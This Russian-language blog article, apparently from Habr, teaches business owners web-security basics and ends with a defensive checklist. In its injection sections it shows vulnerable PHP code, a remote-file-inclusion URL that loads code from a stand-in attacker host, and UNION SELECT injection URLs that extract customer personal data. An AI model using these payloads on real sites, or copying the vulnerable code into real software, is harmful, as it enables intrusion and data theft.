Основы безопасности веб-приложений для бизнеса

Вы знали, что всего за пару часов вовлечённости в проект можно сэкономить десятки тысяч рублей? А иногда даже сотни. Сегодня мы научимся экономить наши кровные деньги, не отдавать их злоумышленникам — и всё это через обучение ^[1] основам веб-безопасности.

Меня зовут Максим Колмогоров, я технический директор IT-компании vverh.digital ^[2]. За 8 лет активной разработки я прошёл путь от джуниора, который “гробил” проекты из-за элементарных ошибок в безопасности, до технического директора, который отвечает за защиту более 80 проектов. Каждая утечка, каждый взлом на ранних этапах карьеры — это урок для меня, который стоил денег, нервов и иногда даже репутации. Сейчас я понимаю, как предотвратить 90% проблем ещё на этапе разработки.

Эта статья не для специалистов по информационной безопасности. Я не буду рассказывать про какие-то сложные и “секретные” техники (хотя кое-что интересное будет). Эта статья — для предпринимателей, стартаперов и начинающих CTO малого бизнеса, которым нужно понять: что такое разумный минимум безопасности и сколько это стоит. Спойлер — недорого.

Сколько стоит взлом: реальные цифры

Масштаб проблемы в России и СНГ

Согласно данным F6 ^[3], в 2025 году зафиксировано 250 утечек баз данных, связанных с компаниями из России и стран СНГ. Это только публичные случаи — реальное число инцидентов в разы больше, потому что многие компании предпочитают молчать о взломах.

P.S: исходя из личного опыта ^[4], могу утверждать, что это число занижено минимум в 2 раза. Хочу сказать даже в 4 раза, но боюсь г*вна на вентилятор накинуть случайно.

Сколько стоит восстановление

Здесь нет универсальной цифры — всё зависит от масштаба катастрофы:

Сценарий 1: легкий уровень сложности.

Взломали сайт, подменили главную страницу, но бэкапы есть. Откатили из резервной копии, поменяли пароли, закрыли дыру в безопасности.

Итого: от 2 до 10 тысяч рублей на работу специалиста + репутационный удар.

Сценарий 2: уже неприятно

Злоумышленники зашифровали сервер (как у меня однажды случилось — взлом через SSH с подбором пароля). Естественно, не шутки ради, а деньги вымогали. Вариант платить не рассматриваем, слишком легко.

Если бэкапы есть, смотрим сценарий 1. Если бэкапов нет или они тоже скомпрометированы, то есть решение: исходный код проекта можно восстановить из Git ^[5] (если он есть, иначе смотрим сценарий 3).

А что с клиентскими данными? Верно, чаще всего их в Git нет. Ну… они потеряны. Просто терпим и пытаемся в грязь лицом перед клиентами не упасть из-за нерабочего сервиса.

А если у нас ещё и интернет-магазин, то как-то товары придётся восстановить. Тут даже думать не буду, сами на своей шкуре прикиньте, сколько это времени займёт. У всех по-разному.

Итого: тысяч 30 за такой “ремонт” точно придётся выложить. И это не считая упущенной прибыли.

Сценарий 3: катастрофа (недели/месяцы восстановления)

Нет бэкапов. Нет Git-репозитория. Проект разрабатывался год, вложено 300–500 тысяч рублей только на разработку. Плюс утечка клиентских данных, а это ещё и привет штрафы по 152-ФЗ (об этом ниже).

Итого: делаем новый проект, тратим от сотен тысяч до миллионов рублей на разработку и штрафы + потеря клиентов + удар по репутации. А, ну или сразу запускаем жизнеутверждающий процесс банкротства, чтоб более не мучаться.

Юридические последствия (152-ФЗ)

С 30 мая 2025 года штрафы за утечку персональных данных выросли до космических сумм:

• До 20 млн ₽ за утечку персональных данных (для юридических лиц, повторное нарушение);

• До 3 млн ₽ за несвоевременное уведомление Роскомнадзора об утечке;

• Оборотный штраф — 1–3% от годовой выручки (не менее 20 млн ₽) за повторную утечку.

Да, я пугаю максимальными цифрами, хотя даже для условного ИПэшника штрафы начинаются от десяти тысяч рублей. Так что надеюсь, я достаточно вас замотивировал заняться базовой безопасностью своего веб-сервиса.

Статистика методов взлома в России и СНГ

Фишинг — на первом месте ^[6]. Злоумышленники отправляют письма с поддельными ссылками, выманивают логины и пароли у сотрудников.

Использование украденных учётных данных — второе место. Купили базу с паролями, пробуют на вашем сайте с помощью обычного скрипта “перебора” — вдруг сработает?

Эксплуатация уязвимостей в общедоступных приложениях — третье место. Это устаревшие CMS (WordPress, Joomla, Bitrix), плагины, библиотеки с известными дырами, которые: никто не исправляет; или уже исправили, но вы лично не обновились.

Вывод: взломы в 2026 году — это массовые автоматизированные атаки, рассчитанные на лень и невнимательность людей. Вы попадаете в зону риска не потому, что интересны хакерам, а потому что у вас есть известная уязвимость, которую легко найти и эксплуатировать.

Распространенные ошибки и пути их решения

Или ТОП-8 ошибок при разработке и эксплуатации сайта.

Просто… будьте внимательны

Кому-то смешно от этого пункта, но я его оставлю. Банально от фишинга по-другому не защититься. Кто, кроме вас самих, проконтролирует, куда вводятся данные от банковской карты? Точно это id.sber.ru или всё-таки id.sder.ru? Банально можно прислать вам ссылку якобы от вашей панели управления, куда вы сами добровольно введёте логин и пароль от своего сайта. Со всякими типовыми CMS а-ля Bitrix и WordPress это делается довольно просто.

Уровни доступа к данным

В личном кабинете вашего сервиса есть страница с личными данными пользователя. Банально, информация для страницы берётся по API через адрес /api/user/1. Цифра 1 в URL-адресе — это (допустим) ID авторизованного пользователя в сессии на сервере или где-то в cookie на клиенте.

В самом таком подходе пока нет ошибки ^[7], но вот только если, меняя цифру в конце, мы будем получать данные разных пользователей (не только свои) — это критическая ошибка, считайте, это тот самый “слив” персональных данных.

Пример из жизни: пользователь заходит в свой профиль по ссылке example.com/profile?id=42. Меняет id=42 на id=43 — и видит чужие данные: телефон, email, историю заказов. Это реальная уязвимость, которую я встречал в десятках проектов.

Решение: достаточно на сервере проверять, равен ли ID пользователя в сессии с тем, который мы запрашиваем. Ну или сделать специальный маршрут по типу /api/user/my/data, в котором уже будут приходить только данные авторизованного пользователя.

Естественно, все эти проверки должны быть на сервере, а не в браузере через JavaScript.

Утечка данных

Утечка данных — несанкционированный доступ к конфиденциальной информации. Спровоцировать утечку можно огромным количеством способов, один из которых — фишинг. Но мы его уже обсуждали, перейдём к другим не менее изощренным вариантам.

Во-первых, “криво” настроен сервер на работу с файлами.

Если вы используете Git, то некоторые реализации веб-серверов могут дать к нему доступ любому человеку. Достаточно написать example.com/.git — и вся история изменения вашего проекта есть у плохого парня.

В ней (в истории Git) могут быть “скрытые” API-ключи, которые разработчик случайно раскрыл в коде, а не оставил в .env файле. Тут могут быть даже пароли для базы данных. И что‑то мне подсказывает, что персональные данные в вашей базе даже не зашифрованы.

За 8 лет работы НИ РАЗУ не видел, чтобы кто-то в сегменте малого бизнеса шифровал персональные данные пользователей самостоятельно. Понимаю, это кажется излишним, плюс нет типового решения, но это стоит того.

У многих проектов база данных доступна для любого подключения извне, а у всех баз данных общеизвестный порт (чаще всего), а значит, небольшой перебор из потенциальных распространённых вариантов — и данные попали в руки не тем людям.

“Скрытые” API-ключи могут быть как ключами от эквайринга, так и просто оплаченные сервисы API (Яндекс.Карты, Dadata, ChatGPT) за большие деньги. Да, это уже не утечка персональных данных, а утечка ваших ключей, но тоже неприятно.

Кстати, о такой “утечке” ключей вы даже не узнаете, ключ просто перепродают на чёрном рынке (где-нибудь в Telegram) по цене пачки семечек. Вам лишь удастся заметить проблему, когда драгоценные лимиты ключа не в первый раз растают за пару дней, а не растянутся на привычные недели.

Во-вторых, многие оставляют в production тестовых администраторов.

Логин admin@example.ru и пароль secret. Как итог — высокий шанс несанкционированного доступа к панели управления. Если это Bitrix, то у плохиша есть доступ к файловой системе, если самопис — зависит от него, но тоже мало “хорошего”.

В-третьих, почти никто не шифрует персональные данные в базе данных.

Я об этом сказал выше вскользь, но тут раскрою. Представьте, слили вашу базу данных, а там… набор каких-то пиктограмм и точек с запятыми.

Тут как минимум вы избегаете штрафа за слив данных, потому что персональных данных тут и нет (ну, в каком‑то смысле они есть… но попробуй разберись, что есть что).

Для таких целей можно использовать AES‑шифрование ^[8] — оно работает в обратную сторону (то есть можно расшифровать «каракули»). Главное — не слить «секретный» ключ, по которому будет происходить шифрование и расшифровка.

Так, подведём итог по разделу.

Чтобы избежать утечки данных, достаточно:

• Не давать доступ к .git (да вообще к служебным файлам) через URL-адрес сайта;

• Не использовать простые пароли для панелей управления;

• Настроить шифрование пользовательских персональных данных в базе данных;

• Настроить работу API-ключей на определённые IP-адреса (многие сервисы так умеют);

• Не “выплевывать” в интернет базу данных по стандартному порту, а вообще — можно запретить к ней “лишние” подключения. Тот же Docker ^[9] делает это по умолчанию, если вы только явно через команду ports в docker-compose.yml их не откроете для всех;

• А чтобы минимизировать утечку секретных ключей, можно рассмотреть использование Vault ^[10]. Это отдельная подпрограмма, которая может хранить все секретные ключи и дает удобное API для получения их прямо в нужные скрипты.

Чтение всего незащищенного трафика

Представьте: вы отправляете письмо, но не в конверте, а на открытке. HTTP — самый стандартный протокол в интернете — работает именно так. Все данные передаются открытым текстом, даже не шифруются.

То есть если где-то вы вводите логин и пароль — его может прочитать третье лицо. Но как? Всё просто: достаточно подключиться к неизвестной Wi-Fi-сети, и плохой парень уже знает о вас больше, чем нужно. Он просто анализирует весь интернет-трафик через Wireshark ^[11] на своём роутере, он же всё равно не зашифрован.

Решение: не использовать HTTP в 2026 году. Только HTTPS-подключения, с принудительным перенаправлением всех HTTP-запросов в HTTPS. Только так можно себя обезопасить, ибо HTTPS по умолчанию шифрует все запросы с помощью браузера и сервера. Причём алгоритм умный, третье лицо не сможет сюда вклиниться.

Бонус: SSL-сертификат можно получить бесплатно через Let’s Encrypt. Настройка занимает 10–15 минут у профессионала. Не экономь, дядя (или тетя, смотря кто читает).

Перебор паролей

Или brute-force. Его суть проста: просто перебираются комбинации логин + пароль, пока не выйдет авторизоваться. Это всё, тут даже объяснять нечего, реально так просто “в лоб”.

Решение: использовать капчу, те самые цифры/буквы, которые никому не нравится набирать. Главное — правильно её интегрировать. Также блокировать аккаунт пользователя на какое-то время, если он неправильно ввёл логин и пароль много раз. Можно блокировать только IP-адрес, но смысла сейчас в этом мало: боты используют proxy, и поменять IP-адрес для них — дело 1/5 секунды. Также не забываем ^[12] про анализаторы трафика, в России есть аналоги Cloudflare — Yandex Smart Web Security. Они умеют такое распознавать и блокировать.

XSS-атаки

XSS-атака (межсайтовый скриптинг) — одна из разновидностей атак на веб-сайты, во время которой злоумышленник внедряет вредоносный JavaScript-код в исходный код какой-либо страницы атакуемого веб-сайта.

Делается это очень просто: взломщик может отправить какой-то текст с HTML-кодом через форму обратной связи. Это может быть комментарий в блоге или даже заказ из корзины интернет-магазина.

В данном примере злоумышленник отправит на атакуемый сервер такой код. Включая 4-ю строку и всё, что находится ниже (в теге <script>), не будет отображено браузером. Браузер посчитает это командой и выполнит данный код. Он отправит на сайт с 12-й строчки ваши cookie (все самые важные секретики находятся там).

Многие CMS и системы используют cookie для авторизации в систему. Например, раньше такое использовалось в Одноклассниках и ВКонтакте, чтобы пользователь после перезагрузки браузера мог не вводить пароль снова.

Решение:

• Не доверять пользовательским данным — всегда фильтровать HTML-теги через язык программирования, на котором работает сайт. Например, в PHP есть функции htmlspecialchars(), а в Node.js библиотека с аналогичным названием;

• Использовать флаг HttpOnly для cookie, чтобы JavaScript не мог их прочитать. Это мастхэв для всех cookie связанных с авторизацией.

Инъекции исполняемых файлов

Во‑первых, во многих языках программирования есть eval‑подобные функции. В PHP, Python и Node.js — eval(), прямо так и пишется. В эту функцию можно загнать код в виде текста — и она его исполнит.

То есть, если злоумышленник хоть каким‑то образом поймёт механизм, где и как у вас эти функции используются, он с высокой долей вероятности может внедрить свой код в вашу систему.

Во‑вторых, помимо eval-функций есть ещё и другие функции, которые способны запускать код. Например, в PHP есть функция include_once($file), и если в $file указать путь до файла — можно его исполнить.

Давайте дам простейший пример PHP‑кода, который может привести к инъекции:

$file = $_GET[‘file’];
include_once($file);

По данному выше коду можно понять, что путь к файлу берётся из GET-параметра в URL (ссылка имеет вид https://site/?file=файл.php). Злоумышленник может создать файл с вредоносным кодом на своем сервере (например, https://bad-site/injection.php) и затем подключить файл по ссылке https://site/?file=https://bad-site/injection.php и выполнить любой php-код.

Решение: а тут нет простого ответа. Всё зависит от языка программирования.

Например, языки программирования, которые «исполняются» в реальном времени по запросу пользователя, чаще всего подвергаются таким взломам. Поэтому PHP по умолчанию менее безопасен, чем Python и Node.js. В Python, Node.js, Kotlin, Go сложно добиться инъекции исполняемого файла — ну, только если намеренно не заложить её в код специально.

В PHP одним из вариантов избавления от данной уязвимости является выставление в конфигурационном файле PHP (php.ini) значения Off для константы allow_url_fopen.

Но вот от eval-функций защиты нет. Их просто лучше не использовать — и это касается всех языков программирования, в которых они есть.

SQL-инъекции

До сих пор считаю это одним из самых гениальных взломов. К слову, самый сложный для восприятия ^[13] кусок статьи — без напряжения мозга ^[14] будет сложно понять. Поэтому оставил на конец.

SQL — это декларативный язык программирования, с помощью которого сервер в лице PHP, Node.js, Python обращается к SQL-подобной базе данных. “SQL-базы” — самые распространённые хранилища данных в веб-приложениях, их используют все популярные CMS, начиная от Bitrix и WordPress и заканчивая Joomla.

Ниже я покажу на примере SQL-инъекцию. Если вы вдруг ничего не поймёте — не страшно. Данную информацию тяжело воспринимать без технических знаний (SQL и PHP).

Например, злоумышленник представил, что запрос получения информации о товаре на сайте выглядит примерно следующим образом:

SELECT * FROM catalog_products WHERE id = идентификатор;

«Идентификатор» — это абстрактная переменная, которая может браться из GET-параметра product_id в URL-адресе. URL будет иметь вид: https://site/catalog?product_id=2109.

Значит, где-то на сервере происходит что-нибудь по типу следующего кода:

$id = $_GET['product_id'];
$sql = 'SELECT * FROM catalog_products WHERE id = "' . $id . '";
return $database->getOneRow($sql);

Если злоумышленник убедится в том, что на сервере при формировании запроса происходит конкатенация (склеивание строк) без их предварительной обработки, то он может внедрить вредоносный код в SQL-запрос.

Например, сформировав ссылку вида: https://site/catalog?product_id=2109 GROUP BY 8. Где GROUP BY 8 — это подбор количества возвращаемых полей. Если скрипт не выдаст ошибку (злоумышленник получит необходимую информацию через браузер), то значит, SQL-инъекция удалась.

Допустим, злоумышленник знает, что существует таблица orders, в которой хранится ФИО клиента (столбцы firstname, lastname, middlename), email (столбец email), телефон (столбец phone) и домашний адрес покупателя (столбец address).

Сформировав URL вида: https://site/catalog?product_id=2109′ UNION SELECT firstname, lastname, middlename, email, phone, address, 7, 8 FROM orders WHERE id=1, он получит всю информацию о заказе с идентификатором 1. Таким образом он может перебрать все заказы на сайте.

Решение: защититься от SQL-инъекций можно с помощью использования подготовленных запросов (prepared statements, прямо так можно “загуглить”), экранирования специальных символов и правильного разграничения прав на запросы к базе данных. Так что, уточните используют ли ваши разработчики такую технологию при работе с SQL.

Практический чеклист для бизнеса

Теперь, чтобы вынести какие‑то полезные знания из этой статьи, давайте сформируем что‑то вроде чек‑листа — ну, чтобы знать хотя бы, что проверять. Эдакий базовый минимум безопасности, плюс пара моих советов.

• Базовая защита — будьте внимательны, проверьте права доступа у разных пользователей, настройте защиту от SQL‑инъекций, XSS, перебора паролей (капча, блокировки), шифруйте данные, закройте доступ файлам, используйте HTTPS на всём сайте. Иными словами — убедитесь, что реализованы все советы из тех 8 пунктов, что мы обсудили выше;

• Регулярно обновляйте CMS, плагины, NPM-пакеты ^[15] и так далее (что там используете). В них бывают уязвимости, которые связаны с конкретным языком программирования (на чем они реализованы). Вы/ваши разработчики о них даже можете не знать, поэтому просто лишний раз обновитесь. Хотя бы раз в квартал;

• Используйте для своих учетных данных только сложные пароли. И рассмотрите добавление двухфакторной аутентификации для входа в панель управления;

• Не забывайте про резервное копирование, меня оно спасало сотни раз;

• По возможности, настройте логирование всех запросов к вашему проекту и анализируйте их хотя бы раз в день. Что искать? Любые подозрительные закономерности;

• Если используете языки по типу PHP, то периодически прогоняйте файлы сайта на хостинге через антивирусы или анализаторы кода;

• Если используете Docker, рассмотрите использование Harbor ^[16]. Много описывать тут не буду, просто скажу что эта штука умеет сканировать ваши образы на уязвимости. Можно этим заменить прошлый пункт;

• Имейте план реагирования ^[17] на инциденты связанные с безопасностью: кто, что и когда будет делать. Контакты нужных специалистов, инструкция по восстановлению сайта – пусть это будет под рукой.

Важно: не обязательно внедрять всё сразу. Начните с базовой защиты — это закроет 90% типовых автоматизированных атак.

Кому доверить свою безопасность

В любом случае советы и чек‑листы дать может каждый, а вот кто это всё будет делать? В статье написаны… довольно сложные вещи, особенно если говорим про SQL‑инъекции: не все сами сразу могут в этом разобраться. Ну тут все довольно просто:

Если у вас есть свой IT-отдел

Сформируйте подразделение информационной безопасности (или хотя бы назначьте ответственного). Пусть они занимаются всеми этими “приколами”: регулярными обновлениями, мониторингом, аудитом кода, настройкой защиты.

Главное – не перекладывайте безопасность на разработчиков “по остаточному принципу”. Им до фонаря.

Если вы небольшая компания или зажиточный одиночка

Наймите аудит безопасности. Особенно если навайбкодили ^[18] свой сервис, не имея опыта. Специалисты проверят ваш проект на типовые уязвимости и дадут конкретные рекомендации по их устранению.

Стоит это около 30 тысяч рублей — намного дешевле, чем восстановление после взлома и штрафы по 152-ФЗ.

P.S: цену с потолка взял, в интернете нет информации, везде “цена по запросу”, но я бы столько взял за типовой проект, хотя такую услугу не предоставляю.

Для тех, у кого нет бюджета

Тогда хотя бы пройдитесь по чек-листу выше самостоятельно. Можете попросить разработчика, которому сильно доверяете. Займёт пару часов — сэкономит десятки тысяч рублей (если найдете и исправите ошибки).

Заключение

Во-первых, спасибо, что дочитали до конца! Я люблю писать статьи, а если они еще и полезные получаются – это делает меня счастливым (не, я серьезно).

Во-вторых, безопасность веб-приложений — это не паранойя. Поверьте, это разумные затраты времени и денег на предотвращение потерь.

В-третьих, злоумышленники не выбирают вас лично. Они просто ищут лёгкие цели — сайты с открытой файловой системой, слабыми паролями, устаревшими CMS. Достаточно не быть лёгкой целью. Вы же по улице не ходите с пачкой денег и не кричите каждому сколько зарабатываете?

Отдельное спасибо Никите Черушеву из Авито за консультацию и проверку моего материала “на вшивость”. Это моя первая статья на Хабр, пока ищу какой контент хочу писать: попроще или “похардовей”.